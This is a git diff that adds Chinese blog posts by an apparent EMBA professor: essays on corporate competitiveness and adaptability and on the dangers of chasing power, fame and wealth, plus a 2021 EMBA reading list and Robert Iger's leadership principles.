+***1、竞争力*** + + + +竞争力大家都耳熟能详，我们不再过多赘述。 + + + +但我们必须强调：从本质上说，企业的竞争力是在信用基础上，通过质量与效率的提升为客户创造价值的能力。绝不是不讲诚信的牟利手段，绝不是缺乏底线的恶性竞争，绝不是忽略客户价值的过度营销。 + + + +***2、 适应与创造未来能力*** + + + +在新的时代背景下，核心竞争力的提出者加里·哈默尔也强调：在今天重要的不是时间节点上的竞争优势，而是不断进化的优势。 + + + +学者将这种不断进化与适应能力称为：适应能力商数 (AQ)，并提出了对个人或组织的三种要求：具有虚怀若谷、无所不学的心态；对一切抱有好奇心的敏感；乐于不断地探索、尝试、创新。 + + + +我们可以清醒的看到，近些年来创业成功、引领变革的世界性企业都是适应与创新能力强大的企业，而20世纪的曾经霸主大多因恃强自傲与抱残守缺，以致变革迟缓、创新乏力。 + + + +亚马逊创始人贝佐斯认为，企业的发展往往有两条路径，一是从自己现有的能力出发，基于现有的核心竞争力去生产产品、战胜对手、占领市场。二是从客户未来的需求出发，基于未来如何更好的满足客户需求，倒推现在的自己需要培养和具备哪些新能力，从而主动的适应与创造未来。 + + + +而亚马逊之所以成功，恰恰是第二条路径的结果，即敢于进入全新领域，敢于从零开始培养自己尚不具备的新能力，并快速将之打造为赢得未来的关键能力。 + + + +2004年，贝佐斯决定要自行开发电子阅读器Kindle，几乎遭到所有人的反对。但贝佐斯认为，如果电子阅读是未来的大势所趋，亚马逊就必须适应未来，打造全新的能力，无论多难也必须去做。 正是基于这些认知，贝佐斯明确告诉Kindle的项目负责人：“你的工作，就是要干掉自己的业务……就是要让卖纸质书的人都失业。” 今天的战果很明显，亚马逊的电子阅读销售额占了全美70%以上。 + + + +![](/uploads/2021/07/07-25.png) + + + +又何止是电子阅读器？ 在云计算业务上，亚马逊云（AWS）更是开创了一个规模巨大、增速惊人的全新战场…… + + + +企业要走向未来、赢得未来，就需要形成基于环境的动荡变化而积极的适应与创造未来的能力。 + + + +***3、应对不确定性负面冲击的反脆弱能力*** + + + +大变革时代的多维特点已经无法用一个词汇来形容，于是海外学者们将易变（Volatility）、不确定（Uncertainty）、复杂（Complexity）、模糊（Ambiguity）四词的首字母合成一个新词VUCA，以此告诉人们：时间上瞬息万变；现实与未来难以确定；空间上多变量交织；技术、产业、学科等界限愈发模糊。 + + + +![](/uploads/2021/07/07-26.png) + + + +理论研究从来都是现实的需要，不论是福岛核事故、埃博拉病毒，抑或新冠肆虐、金融危机……，都表明现实世界和企业经营面对越来越多的不确定性。因为在数字化洪流中，人类的技术迭代发展越来越快已日新月异，人类的作用范围越来越广已达浩瀚宇宙、人类的实践越来越深入已至微观世界、人类所受影响的变量越来越多已难计其数、 人类之间的相互作用越来越密切已纵横交织，这一系列的快、广、深、多、密，当然比农业和工业社会相对的慢、窄、浅、少、稀会引爆出更多的不确定性。 + + + +与此同时，加州理工学院研究员约翰·道尔（John Doyle）提出自然和社会的坚脆现象（Robust-yet-Fragile）问题，即任何一套复杂系统在遇到预期之内的危机时能够复原，但遇到预料之外的威胁却不堪一击。 + + + +大历史学家汤因比也说过， “在进化过程中，一个已能完美适应环境的生物，它在调动一切资源应对当前挑战方面越来越省力。最后，它甚至依靠下意识的努力或调整，就能完成一切生存必需的任务。 因此，它能打败传统领域的所有竞争者；然而同样的，一旦环境改变，它必然走向灭绝之路”。 + + + +汤因比 “没有任何事情比成功更易失败”的论断切中肯綮，时代与环境的巨变更容易带来坚脆现象的出现。因而，我们的企业与个人需要具备反脆弱意识、提升反脆弱能力，并从塔勒布的《反脆弱:从不确定性中获益》汲取方法与经验。 + + + +![](/uploads/2021/07/07-28.png) + + + +提高反脆弱能力，至少可以把握五点原则： + + + +- 没有机械的一成不变的精准预测，唯有在行动中不断适应调整。 +- 单一的本领、单一的计划是危险、要多元学习，多元能力，多元准备、多元方案， 留有B计划。 +- 绝不能满足现有的认识、僵化现有的实践，要敏感的关注时时刻刻地变化，不断探索、勇于创新。 +- 要有长程视野，务实的做好现在，前瞻的思考、准备未来。 +- 个体与组织要锻炼、形成弹性与韧性，保持冗余。 + + + +***4、超越自我、战胜自我的持续学习能力*** + + + +在企业与个人发展能力体系中，超越自我的学习能力是最重要的，是能力之根，也是能力之源。 + + + + “未来唯一持久的优势，是比你的竞争对手学得更快的能力。”而挪威学者诺德豪格和冈豪格在上世纪之末就强调，面对21世纪的要求，所有的企业和个人都有能力差距。这个差距不是与对手比的差距，而是与时代要求比的差距。所以任何人都不能满足于横向比对手优秀，而要认识到与时代发展要求比的巨大差距，需要新的学习、新的实践以消除差距、跟上时代。 + + + +带领微软重回巅峰的萨提亚·纳德拉说得好：这不是一个我们无所不知的时代，而是我们无所不学的时代。桥水公司创始人瑞·达里奥说的幽默而不乏深刻：如果你现在还没感到你一年前是个蠢货，说明你一年毫无进步。 + + + +![](/uploads/2021/07/07-29.png) + + + +学习的方式多种多样，可以读万卷书，可以行万里路，可以阅人无数……。单就读书而言，比尔·盖茨每年要读上百部，查理·芒格甚至被人们称为长着两条腿的书。不妨细细品味他们的阅读心得： + + + +- **阅读思想家、科学家、领导者、企业家的传记** + + + +芒格认为，传记是一种更易于使人们将思想创立者的生活与人格联系在一起的方式，“如果你一生中总是与那些有远见卓识的故人交友的话，那么你将生活得更好，更有教养。这比仅仅讲一些大道理强多了”。本杰明·富兰克林是查理·芒格的人生导师，他将自己的书籍都仿富兰克林的《穷查理年鉴》，命名为《穷查理宝典》。比尔·盖茨说，迪士尼CEO艾格的自传《一生的旅程》是他多年来读过的最好的商业书籍之一。 + + + +- **阅读自然科学、技术类书籍** + + + +这不仅仅是因为他们的商业需要了解科学技术本身，以使他们的业务选择、投资决策不违背自然规律，而且“生物学、自然科学上的原因能够帮助预测商业进化过程的结果，商业和生物进化有很多相似性”。 + + + +- **阅读政治、经济、文化、哲学、社会学、未来学等不同科学** + + + +他们一贯强调企业不仅仅是经济组织，承担经济行为后果，企业的行为对社会的影响也是多维度，必须从变革世界、社会发展、创造美好未来更开放的视觉思考企业。 + + + +- **阅读自身业务相关的专业书籍** + + + +芒格阅读大量财经类书籍，盖茨阅读网络信息、AI、物联网、云计算、虚拟现实、量子计算、病毒抗疫、健康环保与微软业务及基金会业务相关的书籍。 + + + +比尔·盖茨、查理·芒格等的阅读经历启示我们： + + + +- 在一定意义上，他们的成功是学习的成功，他们的发展是能力的发展。 +- 经典需要重读，但更需要与时俱进的阅读，探讨研究新问题的新思考、新理论。 +- 专业需要深入阅读，但绝不能拘囿于狭隘的领域。 + + + +伟大如比尔·盖茨、查理·芒格都视学习如生命，都与时俱进的终生学习，我们有什么理由滋曼自傲？ + + + +![](/uploads/2021/07/07-30.png) + +爱因斯坦所言深刻：创新之难不在创新本身，而是先要摆脱旧有的束缚。 + + + +回想20世纪80年代500强企业中70％被淘汰，现在500强企业的存续时间越来越短，何以至此呢？ + + + + + +严重的后果往往不是单一原因所致，这里不深入探讨技术、体制、管理原因，只侧重谈谈20世纪管理论对这些企业的束缚。时至今日，在一定的意义上，20世纪的一些管理理论像无形的绳索捆绑着我们的思维和误导我们的实践。 + + + +MBA课堂和高管培训往往都学习过如下理论和方法：竞争战略、竞争优势、核心竞争力、标杆管理、经验曲线、持续改善、精益生产、全面质量管理、流程再造、精细管理、营销推广、规模经济、收购兼并、做大做强、从优秀到卓越……，在20世纪人们也多会以这些理论与方法指导企业实践。 + + + +![](/uploads/2021/07/07-31.png) + + + +不难看出，这些理论大都聚焦在做好做大现有的业务，其途径就是战胜现有的对手，获得更大的市场份额。战胜现有对手的战略是比对手做的质量好、功能强、成本低的**竞争战略**，比对手做得好的**竞争优势、核心竞争力**，来源于**标杆管理**的学习和**经验曲线**的深化，来源于**全面质量管理**的**精益生产**与**精细管理**、来源于不断地扩大生产的规模经济与**兼并扩张**，来源于**持续改善、流程再造**和**营销推广**……总之，这些理论形成了20世纪企业管理之箭，靶心就是要打败现有对手、赢得市场份额，通过自我发展和兼并收购，从而成为竞争胜者和行业霸主。 + + + +**这些理论既是指向明确的理论之箭，也是束缚人们的理论之网。它将人们的目光都引导到当下的业务，将人们的精力都聚焦在当下的成败，以致于无视未来的挑战、忽视变革与创新。** + + + +毕竟，这些理论更多是从提升质量与效率角度来促进现有业务发展的，如标杆管理的四个对标：对标企业内部的优秀、对标直接竞争对手、对标行业内最佳实践、对标不同行业的流程，即寻找在企业业务领域内当下最佳表现的公司来作为衡量标准。这些基准的问题在于都是当下的基准，不是未来的要求。一个企业即使战胜了对手的基准，也可能输给了时代的新标准。 + + + +经验曲线意味着“企业生产一种产品的数量越多经验就越多，而经验越多，成本就越下降。”现实却是，即便生产的胶片、录像带、CD质量再高、成本再低，人们也不需要了。**比经验曲线、成本曲线更重要的是客户的需求曲线、技术的颠覆曲线。** + + + +简言之，20世纪的上述理论容易将我们的视野束缚在质量与效率上，而忘记了变革与创新；容易将我们的参照对象束缚在当下的业内竞争上，而忽略了未来的跨界竞争乃至取代。这不仅仅是理论的推测，现实也是如此。日本企业在实践中总结的全面质量管理、精益生产、看板管理、零库存、持续改善等，在20世纪60－80年代极大地促进了日本企业的发展和日本经济的崛起，以致石原慎太郎、盛田昭夫写出了《日本可以说不》、美国学者也写出了《日本世界第一》。但进入到21世纪，日本企业强调现有业务质量与效率而忽视变革创新的弊端却日益显现，一度陷入衰退与转型的彷徨。 + + + +所以，在21世纪的今天，我们需要突破20世纪的竞争理论束缚。 + + + +保罗·格雷厄姆幽默的警醒我们：与笨蛋辩论，你也会变成笨蛋。与落后于时代的对手竞争，你胜利了也是落后于时代。丹尼尔·伯勒斯说得清晰：你越关注当下竞争，你越会想要模仿和学习对手的行为，你只会使你更像他们。这绝对不行，因为客户与时代都翻到了新的一页，旧有的表演已经没有市场和未来。 + + + +**必须要指出：我们不是以今日之是说昨日之非。****一切都是以时间、空间和条件为转移的**——在20世纪技术与经济变化相对缓慢时期，在市场需求尚未充分满足的时代，人们关注当下技术、产品、服务的提升无可厚非。即便在当下，对于仍有前途的业务也需要提升质量和效率，这些理论依然在给发挥着价值。 + +梁任公有云，变者，天下之公理也。在技术、经济、社会巨大变革的今天，仅仅将目光聚焦在这些传统的管理理论上，而忽视新的问题、新的理论、新的方法就有害无益了。这就像我们绝不否认，在冷兵器时代武松的功夫独步天下，今天的武术也是精彩的竞技与表演项目。但如果在今天热兵器时代，不学习掌握新技术、新武器，还要以武术对抗枪炮，就难免陷入危境了。 + +**超越竞争力，重塑走向未来的系统发展能力，还是从摆脱旧的束缚开始吧！** + +![](/uploads/2021/07/07-32.png) + + + +# 参考 + ++ [超越竞争力——孟教授谈企业走向未来的系统发展能力](https://mp.weixin.qq.com/s/vdIxMlahwz7vszwTpV1iXA) diff --git a/_posts/2021-07-06-560-Entrepreneurship03.md b/_posts/2021-07-06-560-Entrepreneurship03.md new file mode 100644 index 0000000..71b3b92 --- /dev/null +++ b/_posts/2021-07-06-560-Entrepreneurship03.md @@ -0,0 +1,133 @@ +--- +layout: post +title: 人啊，人……，您到底要什么？ +pid: 560 +tags: [EMBA, 企业家精神] + +--- + +![](/uploads/2021/07/07-34.png) + +人生短短几个秋。世间万象，沉浮沧桑，折射多少至理…… + +十多年前的一天，曾是我EMBA学生的一地市局长给我打电话，说他过去的上级领导、现任某省高官期望他到其手下工作，问我那个省的经济状况、发展趋势，并问我去是否合适？我说你现在任职的城市较小，直接到一个经济发达、行政地位很高的省工作，怕经验不足、怕能力欠缺，未必能适应。我的看法，还不如将现在的工作从容做好、造福当地。”学生”局长说，自己经验不足、能力不够可以努力提升。我感觉到他心里很想去，又问：“去对自己有什么益处？”他说：他的这位上级还有“步”，还会高升，而且也很器重他，他去了应该会有更大发展。 + +我是一个直性子的人，没有办法掩饰自己真实的想法，于是说：不要将升官有权看得太重了，你这是一种寻找靠山谋求官位、延揽权力的做法，从历史上看有许多的教训。我甚至动情地说：古往今来不论官居何位总有下来那一天，我们不能将自己的人生绑在别人的战车上。我们太依靠别人、太仰仗别人，容易不论是非，唯人是从，一荣俱荣、一损俱损。学生局长很谦和地说：老师的嘱咐我一定认真考虑。那次电话后，再没有电话。 + +后来，受省高官重用，他在那也官升一级，甚至权力比实际职位还大。再后来，省高官贪污腐化被判重刑，我的学生也锒铛入狱…… + +**我一直认为：所有的靠山都是火山，以权力为靠山更甚。** + +![](/uploads/2021/07/07-35.png) + +多年来，我接触的一位创业者开发的技术填补了一项空白，因此赢得了许多荣誉、获得了各级别奖励，还是政协委员，可以说风光无限，我也一直为他高兴。但后来媒体揭露他们企业的技术完全是虚假的，请人鉴定时做了“大量工作”，又有高额鉴定费，鉴定当然顺利通过了。填补空白，相关部门脸上有光，地方政府也睁一只眼闭一只眼，所以也没有谁深究技术参数与实际情况。 + +曝光后，撤销了各种荣誉、政治身份、补回了国家的上千万科研经费。好在没有刑事处罚，我们还可以如常交往。我与他说，做企业要务实，不能投机取巧，不能走捷径。人生道路还长，只要汲取教训，还可从头做起。 + +作为老师，我也深深追问，造假填补技术空白，不可能形成产品、自然也没有经济收益，为什么要造假呢？他说，这些年看到不少大学同学、研究生同学都做出些令人敬佩的成绩，自己只是混得过去，就想放个卫星，博些名声、让别人刮目相看，所以走了捷径。 + +**我一直以为：所有的捷径都是弯路，做人做事皆如此。** + +![](/uploads/2021/07/07-36.png) + +还有一位企业经营者，其企业业绩在当地长期领先，个人也很富有。我去过他们企业，看到产品创新、精益生产、降本增效、年度收益，都做得不错。按理说，经营很成功，业绩有保证，水到渠成的发展是非常好的事情了。 + +可惜的是，他非要搞定一些领导，以更便宜的拿地、更便利的拿项目，以获得集聚更多的财富。他就像善于经营企业一样长袖善舞的经营起官员。从官员子女上学到家庭挑选保姆，从住房维修到置换汽车，从官员父母生日到儿孙成长，都悉数礼到、照顾周全。投桃报李之下，他也拿到了土地、获得了项目。 + +怎奈东窗事发，官员被抓，也牵连到他。好在他也算精明，送礼金额不大，到头来被罚了一大笔款，没受牢狱之灾。我没有问及他为何非要润滑官员、搞定官员而拿项目。他的同学说他一心想积累更多财富，成为一地首富。 + + + +**我一直以为：多余的钱会做多余的事，从容生活与丰富人生即可。** + + + +![](/uploads/2021/07/07-37.png) + + + +由于在多所大学讲授MBA、EMBA课程和多年企业管理咨询经历，我接触过的企业管理者、行政官员真可以说成千上万。我深深感受到无论在课堂上交流，还是在企业咨询过程中讨论，我从学生们和企业经营者身上所学所获都大于他们从我的教学中所得。当然，多年来我接触的企业家及行政人员大多是秉持初心、诚信经营的，如上所讲三人只是少数显例。虽是显例，却极为典型：一个求权、一个求名、一个求财。 + + + +这正是20世纪伟大精神分析心理学家、文化心理学家卡伦•霍尼所讲的“我们时代的神经症人格”的三种表现：对权力、名望、财富的病态野心、癫狂追求。 + + + +在卡伦•霍尼看来，人生在世，追求权力、名望、财富有其无可厚非之处。从本质上说，人们所以追求权力、名望、财富，是因为“在我们的社会结构中，权力、名望和财富可以提供一种较大的安全感”。没有权力，可能被别人支配；没有名望，可能被别人轻视；没有财富，可能身心痛苦。所以，缺少权力、名望、财富，人们往往难免缺乏安全感、陷入焦虑。但这些追求有两种动机、两种性质：一是为自己获得安全感，一是为了霸凌他人；一是在合理限度内的追求，一是没有限度的野心。合理的追求权力是为获得安全感以对抗软弱，野心的追求权力是为了支配他人；合理的追求名望是为了获得安全感以对抗屈辱，野心的追求名望是为了贬低他人甚至侮辱他人；合理的追求财富是为了获得安全感对抗贫穷，野心的追求财富是为了剥削他人。一言以蔽之：后者是充满敌意的追求。 + + + +![](/uploads/2021/07/07-38.png) + +*卡伦•霍尼* + + + +林语堂也说，人生的大骗子不只有两个，而有三个：名、利、权。人生一世切不可癫狂的追求权力、名望、财富，更不可三者都想要，都想贪婪无度的集以一身，这其实是一个人最大的悲哀，也是周边人们的不幸。 + + + +不要说在痴迷权力、名望、财富中会不择手段陷入罪恶葬送自己，即使不犯科枉法，也会因权力、名望、财富的虚幻诱惑而错过了真实丰富多彩的人生…… + + + +![](/uploads/2021/07/07-39.png) + + + +关于权力、名望、财富的虚幻，还是让我们听听智者所言吧: + + + +查尔斯•C•科尔顿有言：欲知权力带来的痛苦，去问那些当权者；欲知权力带来的乐趣，去问那些追逐权势者——权力带来的痛苦是真实的，权力带来的乐趣不过是凭空想象。 + + + +奥利佛•哥尔德斯密斯告诫我们：过分喜欢权力就会不择手段。 + + + +弗兰西斯•培根说的多好：名望是一条河，泛起来轻微和膨胀，淹没了沉重和坚实…… + + + +拉•罗什富科说到了有些人的名望为什么分文不值：“你永远要根据人们获得名望的手段来判断人们的名望。” + + + +塞涅卡说：“一副金马嚼并不能使一匹马更优越”。他还说：“自由人以茅屋为居室，奴隶囚于金室”。 + + + +我想谁都会感佩挪威伟大剧作家亨利克•易卜生的深刻：“金钱可以是许多东西的外壳，却不是里面的果实。它带来食物，却带不来胃口；带来药物，却带不来健康；带来相识，却带不来友谊；带来仆人，却带不来他们的忠心；带来享受，却带不来幸福的宁静”。 + + + +当然，我们并非吃不到葡萄的狐狸，我们也同意纳桑尼尔•霍桑所言：“金钱并非像平常所宣称的那样是万恶之源。而对金钱的贪图，即对金钱过分的、自私的、贪婪的追求才是万恶之源。” + + + + + +![](/uploads/2021/07/07-40.png) + + + +人们要美好的度好一生，就要时刻扪心自问：此一生，我们到底要什么？就要时刻警醒自己：抵住过度追求权力、名望、财富幻影的诱惑。就要时刻告诉自己：最好的人生是活得真诚、与人为善、体验丰富、一世从容…… + + + +经常有学生问我，我的人生追求是什么？我总是回答：人生就一张门票，为什么不多逛几处风景？多数数星空、多听听海浪、多看看松涛、多闻闻花香、多读点真正的书籍、多相识真诚的朋友……，这会使我们的人生更丰富、更从容、更幸福。 + + + +**人生就是经历的总和，你说呢？** + + + + + +# 参考 + ++ [人啊，人……，您到底要什么？——孟教授谈人生的追求](https://mp.weixin.qq.com/s/dPEUTAsEWKnm8OdIBg9lXg) diff --git a/_posts/2021-07-06-561-books.md b/_posts/2021-07-06-561-books.md new file mode 100644 index 0000000..065ef93 --- /dev/null +++ b/_posts/2021-07-06-561-books.md @@ -0,0 +1,141 @@ +--- +layout: post +title: 2021春季EMBA 书目 +pid: 561 +tags: [EMBA, 企业家精神] + +--- + + + +2021春季EMBA 书目 + + + ++ 管理学学习要阅读经典原著，不能停留在教材上； + ++ 管理学学习要阅读前沿著作，不能止步过去理论； + ++ 管理学学习要阅读人文之书，不能限于工具理性。 + + + +**看看查理****.** **芒格所读之书，会给我们许多启示：** + + + +**一、传记类** + +芒格认为，传记是一种更易于使人们将思想创立者的生活与人格联系在一起的方式，“如果你一生中总是与那些有远见卓识的人交友的话，那么你将生活得更好，更有教养。这比仅仅讲一些大道理强多了”。 + +**二、自然科学类** + +芒格还十分喜欢科普读物，特别是关于进化论方面的内容。芒格认为，在投资上，“生物学上的原因能够帮助预测商业进化过程的结果，商业和生物进化有很多相似性”。 + +**三、社会科学类** + +芒格广泛的阅读经济、社会、文化、生态、哲学著作，芒格认为挑选股票是处世艺术的一个分支，要将投资视为处世能力的一部分来理解。 + +**四、财经类** + +这是直接的财经、投资修养与能力。 + + + +# 图书清单 + + + +![](/uploads/2021/07/07-41.jpg) + + + +《穷查理宝典》收录了查理过去20年来主要的公开演讲。除简单而权威的查理传略外，其后的《芒格的生活、学习和决策方法》以及《芒格主义：查理的即席谈话》整理了芒格最精华的思维与决策方式和以往在伯克希尔·哈撒韦公司和西科金融公司年会上犀利——和幽默——的评论。 + +贯穿全书的是芒格展示出来的聪慧、机智，其令人敬服的价值观和深不可测的修辞天赋。他拥有百科全书式的知识，所以从古代的雄辩家，到18、19世纪的欧洲文豪，再到当代的流行文化偶像，这些人的名言他都能信手拈来，并用这些来强调终身学习和保持求知欲望的好处。 + +![](/uploads/2021/07/07-42.png) + +《不会被机器替代的人》讲述了——当机器越来越聪明，如何成为不被机器替代的少数人？人工智能飞速发展，人类会在哪些方面做得比计算机更好？计算机能够比人类更好地驾驶汽车，比法律专家更准确地预测法院的裁决，计算机更善于面部识别，计算机操控的机器人奔波于办公室和工厂，……，当这一切来临时，人类的希望何在？ + +随着科技的进步，我们关注的焦点不应该是如何在计算机能胜任的工作中击败它，否则，我们必然会输掉比赛。相反，我们应该发展根本的人类技能，教导孩子不仅要重视科技，更要丰富人际交往经验。只有这样，孩子们才会因之成为不会被机器替代的人。科尔文证明，人类拥有成就伟大所必需的技能，其程度远远超过我们的想象。 + +![](/uploads/2021/07/07-43.png) + +对于亚马逊、苹果、脸书和谷歌这四大互联网公司，它们为什么如此成功？ + +作者在书中分析称，亚马逊（Amazon）满足人类自古内建的采集者直觉，拥有的物质愈多，就愈 安心；谷歌（Google）成为人类共享的外接大脑，掌控知识产业，是现代人有求必应的神；苹果（Apple）从大脑起家，连结对性的渴望，成为品味与财力的终极性感指标；脸书（Facebook）串连人心，利用对爱的渴望掌握史上最庞大的个人数据库。 + +我们无法复制互联网四大今日的规模，但必须洞悉它们如何操弄人类本能欲望而壮大，找到企业与个人在未来强者愈强、赢家通吃的竞争中强化竞争力的方向。 + +![](/uploads/2021/07/07-44.jpg) + +自萨提亚·纳德拉2014年接任微软首席执行官以来，微软的市值翻番，超过了互联网泡沫以来的高点。 + +《刷新》全景回顾了萨提亚的变革路径，如在硬件Surface电脑上的投入，在混合现实、人工智能和量子计算三大领域的战略布局等；系统总结了他的核心管理思想，即任何组织和个人，达到某个临界点时，都需要自我刷新。为了迎接智能时代的挑战，他提出自我刷新的三个关键步骤：拥抱同理心，培养“无所不学”的求知欲，以及建立成长型思维。 + +![](/uploads/2021/07/07-45.jpg) + +《一生的旅程》是迪士尼CEO罗伯特·艾格回顾45年职业生涯的自传体小说，全书用第一人称讲述罗伯特的童年生活、初入职场的遭遇以及后来执掌全球最大的娱乐公司迪士尼的惊心动魄的经历。 + +主要讲述罗伯特在进入迪士尼后从小小的分公司领导如何一步步做到迪士尼的董事长兼首席执行官，并且详细地介绍了如何收购皮克斯、漫威、卢卡斯、福克斯等行业翘楚的过程。是罗伯特·艾格在执掌迪士尼之际：把她从泥潭中拉出，梳洗干净，换上公主裙，带上王冠，并带她坐上送上行业巨头的宝座。 + +![](/uploads/2021/07/07-46.jpg) + +比尔·盖茨花了十年时间调研气候变化的成因和影响。在物理学、化学、生物学、工程学、政治学和经济学等领域的专家的支持下，他专注于探索减少温室气体排放的新技术。 + +在本书中，比尔·盖茨从电力、制造业、农业、交通等碳排放主要领域分析了零排放面临的挑战，可使用的技术工具以及我们需要的技术突破，并提供了一套涵盖广泛但每一步都切实可行的行动计划。 + +无论是过去还是现在，零排放都具备坚实的逻辑基础，但实现零排放的目标要基于创新驱动。 + +![](/uploads/2021/07/07-47.png) + +这是关于一群人的故事。这10年是雷军作为创业者升级蜕变的10年，是小米数万员工一往无前的10年，也是跟随小米一路走来的一代人的黄金10年。他们坚持梦想、无所畏惧，哪怕被质疑、被嘲笑，也要毅然站上全球竞争最激烈的舞台。 + +这是关于一家公司的故事。仅用3年时间拿下中国智能手机市场份额第一宝座、创业9年成为最年轻的全球500强公司、创立不足10年营收入已破2000亿……小米独特的商业模式历经时间考验，不断缔造成长奇迹。 + +这也是关于一个时代的故事。是在风投系统逐渐成熟、移动互联网全面崛起、产业正在像素级追赶以及消费升级时代来临时，一个国家如何成就创新者的故事。 + +![](/uploads/2021/07/07-48.jpg) + +一家市值超 2000 亿美元，全球付费订阅用户超 1.9 亿，业务版图遍布近 200 个国家和地区的商业巨头。 + +作为创始人兼 CEO，里德·哈斯廷斯引领网飞实现了成功转型和强势增长，并坦言这得益于一套违反直觉的管理原则： + +在网飞，你不需要取悦你的老板，只要给出坦诚的反馈；你不需要层层审批，就可以决定出差标准；你不需要用加班证明自己，只要充分展示自己的才能就能得到丰厚报酬。 + +里德·哈斯廷斯认为，如果你给员工更多的自由，而不是制定规则来阻止他们发挥自己的判断，他们会做出更好的决定，也更有责任感。 + +![](/uploads/2021/07/07-49.jpg) + +比尔·盖茨2020年度书单重磅推荐，通才时代，比刻意练习更重要的是刻意尝试，界是为了更好地终身成长！成长不设界，未来才可期。 + +终身学习者：保持广度探索的精神，跳脱单一成功路径，积淀潜在的多面能力，给未来登顶留足后劲。 + +创业者、投资者：掌握横向类比的思维方式，会在迈向成功的道路上助你一臂之力。 + +家长：不必急于让孩子赢在起跑线，起步晚、没有固定专长、只能保持三分钟热度都不会让你的孩子落后他人。你要教给孩子的不是暂时领先的封闭技能，而是受用一生的开放优势。 + +![](/uploads/2021/07/07-50.jpg) + +21世纪被称为网络时代，但事实上，网络早已存在。从印刷术的诞生到网络社群爆发，作者弗格森通贯古今，以新奇的视角，为我们重铸了一个个有形的和无形的网络。 + +从神秘的共济会、辉煌的罗斯柴尔德家族、举世闻名的剑桥使徒网络，到现在互联网时代下的推特和脸书，作者以一个个引入入胜的故事，激发我们重新观察这些网络的运作及其建构的世界，重新看待我们习惯已久的世界观和它潜在的不同面貌。 + +在社会网络兴起、衰落、再崛起的历史中，作者用丰富的图表与数据为我们阐释了网络、聚类等不同概念，帮助我们重新审视旧权力与新社交网络之间的冲突与融合，并通过对比，为读者提供有关网络演变史的另类省思。 + +![](/uploads/2021/07/07-51.jpg) + +这个世界正在以令人眼花缭乱的速度变化发展，每个人在日常生活中都会遇到复杂和陌生的问题。 + +或许不能人人都成为火箭科学家，但人人都能掌握火箭科学家的思维方式。 + +刨去艰涩的专业知识，隐藏在火箭科学这一难懂学科背后的，是足以改变我们生活的创造力和批判性思维。当你像火箭科学家那样处理日常问题，你将成为自己人生的主宰，质疑各种假设和陈规旧习，并树立起自己的思维模式。当别人看到重重困难时，你看到的却是各种机遇，并且使现实服从你的意愿。你将理性地处理问题，制订创新的解决方案，重新定义现状。 + +![](/uploads/2021/07/07-52.jpg) + +《要领》一书是斯坦福大学原校长、谷歌母公司Alphabet董事会主席、图灵奖得主、“硅谷教父”约翰·汉尼斯重磅力作。 + +汉尼斯校长给“要成为领导者”之新生代的领导力讲义，以自己“在事上磨”的真实案例来现身说法，总结自己“满脸污泥、 汗水和血迹”地在竞技场中拼搏的习得，凝结成十条归真求是的“领导要义”。 + +事非经过不知究竟，人无躬行难得要领。领导者的意愿与意志，不是去发号施令、坐享其成，而是要去担当、去服务、去冒险、去滚石上山... diff --git a/_posts/2021-07-14-562-TheRideofaLifetime.md b/_posts/2021-07-14-562-TheRideofaLifetime.md new file mode 100644 index 0000000..27c8efc --- /dev/null +++ b/_posts/2021-07-14-562-TheRideofaLifetime.md @@ -0,0 +1,104 @@ +--- +layout: post +title: 一生的旅程 +pid: 562 +tags: [EMBA, 企业家精神] + +--- + + +附录 + +领导原则 + +在这本关于领导力的书的结尾，我突然意识到，将这些主题衍生内容全部集结在一处， 或许能够方便读者。其中有的原则是具体规定好的，有的则更宽泛一些。 阅读这些归纳起来的智慧点滴时，我觉得它们就像一幅过去四十五年的地图：这是这个人每天教会我的东西，这是我从那个人身上学到的东西。这个问题我当时不理解但现在搞懂了，那个问题只能在积累了经验后才能领悟。我在整本书中讲述的故事，也是为了给这些原则提供些背景信息和增加一些分量，希望这些原则能引起大家的共鸣，也能让你们将自己的经历与之联系起来。这些经验和教训塑造了我的职业生涯，而我也希望它们能为你的职业生涯带来启发。 + +想要讲述精彩的故事，你就需要杰出的人才。 + +拼死创新，这一点放在今天更加适用。如果将对新事物的恐惧作为行动的出发点，那么创新就无从谈起。 + +我常会谈起”追求极致，追求完美”这条原则。在实际操作中，这一原则涵盖了许多内容，也难以下定义总结。相较于一套准则而言，这实际上更像是一种思维模式。这条原则并不是指不惜一切代价地追求完美，而是要创造出一个让人们拒绝接受平庸的环境来。我们需要去战胜那些觉得“足够好”“ 已经足够”的惰性。 + +在犯错时勇敢承担责任。无论是在工作还是生活中，如果能承认自己的错误，那么周围的人便会对你更加尊敬和信任。错误是不可避免的，我们能够做到的，就是认识错误，从中学习经验并让大家看到，偶尔犯错是无伤大雅的。 + +以善待人。用公平的态度和同理心对待每一个人。这并非让你放低期望，也不是让你传达犯错无足轻重的信息，而是让你打造出一个环境，让人们知道你会领听他入讲述事情原委、情绪稳定而处事公平，且会在别人犯下无心之过时给对方第第二次机会。 + +卓越和公平并不一定是互相排斥的。我们要朝着完美奋进，但也要时刻注意，不要跌入只关心产品而忽略员工的陷阱中。 + +真正的诚信——对自已有自知之明，对正误有明确分辨，并将此作为行为的准则——是领导力的一 把秘密武器。 如果信任自己的直觉，并且以敬待人，那么久而久之，你所遵从的价值观也将逐渐在公司中体现出来。 + +相比经验，更要重视能力，把人员安排在能够激发当事人尚不自知的潜能的职位上。 + +提出你必须提出的问题，不带任何歉意地承认自己不懂的东西，做好功课，尽快学到必须学习的东西。 + +管理创意是一门艺术，而不是科学。在分享见解或提出批评时，要细心体恤创意者为项目付出的心血和肩负的风险。 + +不要在消极条件下开始着手某事，也不要从小处入手。人们往往会把注意力放在细枝末节上，以此来掩盖他们对清晰连贯的大格局缺乏把握。如果你着眼小处，那么格局也就会显得狭隘。 + +在第一年管理ABC黄金档节目的工作中，我所学到的最重要一课便是接受创意并不是一门科学。另外，我也越来越适应失败——这失败并非不够努力所致，而是出于一个不可避免的事实：如果想要创新，那就需要创造允许失败的空间。 + +不要因害怕冒险而踟蹰不前，而要为创造伟大提供可能。 + +不要让抱负脱离摆在眼前的机会。如果一心执着于未来的工作或项目，你就会对现在的环境失去耐心。如果不把足够的注意力放在自己实际拥有的职责上，抱负便起到了适得其反的效果。抓住其中的平衡点很重要——把手中的工作做好; 有耐心;寻找能够有所贡献的机会，并从中实现拓展和成长；利用你的态度、活力和专注，成为一个上司在机遇出现时觉得必须将之交付予你的人。 + 